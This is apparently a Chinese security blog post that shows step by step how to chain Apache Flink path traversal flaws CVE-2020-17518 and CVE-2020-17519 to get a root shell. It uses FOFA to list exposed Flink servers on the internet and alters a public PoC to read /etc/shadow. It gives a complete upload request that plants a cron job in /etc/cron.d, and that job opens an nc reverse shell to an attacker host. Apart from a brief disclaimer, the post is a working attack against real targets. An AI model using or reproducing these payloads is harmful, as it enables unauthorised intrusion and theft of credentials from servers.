Apache Flink CVE-2020-17518 & CVE-2020-17519组合利用获取shell
介绍
Apache Flink是高效和分布式的通用数据处理平台。
Apache Flink 声明式的数据分析开源系统,结合了分布式 MapReduce 类平台的高效,灵活的编程和扩展性,具有强大的流处理和批处理功能。同时在并行数据库发现查询优化方案。
CVE-2020-17518 上传路径遍历
Apache Flink 1.11.0到1.11.2允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。
影响版本
1.5.1-1.11.2:
CVE-2020-17519 jobmanager/logs路径遍历
Apache Flink 1.5.1引入了REST处理程序,该处理程序允许您通过经过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置。
影响版本:
1.11.0
1.11.1
1.11.2
操作系统环境
flink支持Linux, Mac OS X, 和 Windows环境部署。
这次爆出的漏洞在特定情况再组合利用的情况下可以获取到服务器的shell。此利用方法针对的特定情况是linux系统版本部署的环境。
1
我们首先使用的fofa帮我把APACHE-Flink的资产罗列出来,以便我们筛选和测试。
FOFA
app="APACHE-Flink"
2
然后收集下资产IP信息。
3
接着我们需要用到大佬们写好的POC进行改造。采用写入计划任务让服务器执行,反弹shell的方式。那么竟然是能够写入计划任务,那么非root权限的账号就没有用了。我们需要改造POC自动化选择具备root权限且存在漏洞的资产。
源POC地址:https://github.com/B1anda0/CVE-2020-17519
4
下来不是直接用需要修改部分代码。
修改部分:
payload= '/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd'
修改后的代码:
payload= '/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fshadow'
在linux系统中只有root用户在默认情况下具备对shadow文件的访问权限,而且返回的内容和passwd中的判断条件相同。所以我们不需要改其他部分的代码就可以轻松使用了。
来分析一下判断漏洞存在的条件。
if response.status_code==200 and "root:x" in response.content:
print(u' 33[1;31;40m[+]{} is apache flink directory traversal vulnerability'.format(urls))
条件是页面存在且返回200,同时页面返回的内容中存在root:x则输出下面print语句的内容。这地方如果要更精确一点可以把“root:x”改成“root:”。这样可以更精确的把禁用root(root:!)且存在漏洞的资产也返回。
5
接着就是筛选资产了!建议用python2运行,3虽然能跑但是结果很少大概是兼容不行。
为了证明没有问题,可以拿出部分目标进行手工测试一下。
6
OK!这样就可以进行下一步的测试了。
由于漏洞需要组合利用合并一下共同存在漏洞的版本为1.11.0-2,所以我们在选择目标的时候要注意。
接下来就要使用CVE-2020-17518 上传路径遍历把计划任务文件写入系统,让系统定时执行。
POC:
POST /jars/upload HTTP/1.1
Host: 192.168.x.x:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13247690941547071692111317477
Content-Length: 305
Connection: close
-----------------------------13247690941547071692111317477
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../etc/cron.d/sshd"
Content-Type: text/plain
*/1 * * * * root nc -e /bin/bash xxx.xxx.xx.x 10000
##
-----------------------------13247690941547071692111317477-
来看下核心代码部分
代码1:
filename="../../../../../../etc/cron.d/sshd"
这里是你要写入的文件位置。这里有个坑计划任务不要写入root的计划任务,因为无法写入。具体原因大概是文件是在使用中,无法进行写入操作。
下面列出一些系统常用的路径。
Ubuntu 下路径
/var/spool/cron/crontabs/xxx
Centos、Alpine、debian 下路径(xxx 可以是任意东西)
/etc/cron.d/xxx或者/var/spool/cron/crontabs/xxx
代码2:
*/1 * * * * root nc -e /bin/bash xxx.xxx.xx.x 10000
这里是你要写入的内容。一般会写入反弹shell的命令,这边又有一个坑。使用bash反弹会显示错误。具体的应该是重定向错误吧,不行换上面代码的nc命令试试。也可以看看这篇文章:反弹shell受限情况下的倔强
https://www.cnblogs.com/-chenxs/archive/2004/01/13/13419483.html
在攻击机上执行nc进行监听,然后提交payload等待目标回连。
这样我们就成功获得一个shell环境了。
如果有更奇妙的利用方式,欢迎留言指导。
参考文章:
https://www.cnblogs.com/2rsh0u/p/14240854.html
免责声明:
本文提及的安全环境、工具和方法等仅供试用及教学用途,禁止非法使用,且行且珍惜。
微信号 : ForestTeam
本文始发于微信公众号(Forest Team):Apache Flink CVE-2020-17518 & CVE-2020-17519组合利用获取shell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论